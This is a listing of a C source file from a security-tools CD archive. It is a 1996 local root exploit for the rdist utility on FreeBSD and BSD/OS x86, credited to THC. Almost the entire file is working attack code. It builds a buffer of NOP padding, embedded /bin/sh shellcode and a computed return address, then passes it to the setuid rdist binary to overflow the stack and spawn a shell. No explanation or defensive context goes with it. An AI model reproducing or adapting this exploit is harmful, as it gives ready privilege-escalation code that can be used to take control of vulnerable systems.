home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / bsd / local / rdist.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  51 lines

  1. /*
  2.  * rdist exploit for freebsd & bsd/os x86 2.0
  3.  * discovered by brian mitchell
  4.  * coded by plasmoid/thc/deep for thc-magazine issue #3
  5.  * 12/12/96
  6.  */
  7.  
  8. #include <stdio.h>
  9.  
  10. #define lv_size   256
  11. #define offset     30+lv_size+8*4
  12.  
  13. long get_sp()
  14. {
  15.     __asm__("movl %esp, %eax");
  16. }
  17.  
  18.  
  19. main(int argc, char **argv)
  20. {
  21.     char execshell[] =
  22.     "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
  23.     "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
  24.     "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
  25.     "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
  26.  
  27.     char buffer[lv_size + 4 * 8];
  28.     unsigned long *ptr2 = NULL;
  29.     char *ptr = NULL;
  30.     int i;
  31.  
  32.     for (i = 0; i < lv_size + 4 * 8; i++)
  33.     buffer[i] = 0x00;
  34.  
  35.     ptr = buffer;
  36.     for (i = 0; i < lv_size - strlen(execshell); i++)
  37.     *(ptr++) = 0x90;
  38.  
  39.     for (i = 0; i < strlen(execshell); i++)
  40.     *(ptr++) = execshell[i];
  41.  
  42.     ptr2 = (long *) ptr;
  43.     for (i = 1; i < 2; i++)
  44.     *(ptr2++) = get_sp() + offset;
  45.  
  46.     printf("discovered by brian mitchell\n"
  47.        "coded by plasmoid/thc/deep\n" "for thc-magazine issue #3\n");
  48.  
  49.     execl("/usr/bin/rdist", "rdist", "-d", buffer, "-d", buffer, NULL);
  50. }
  51.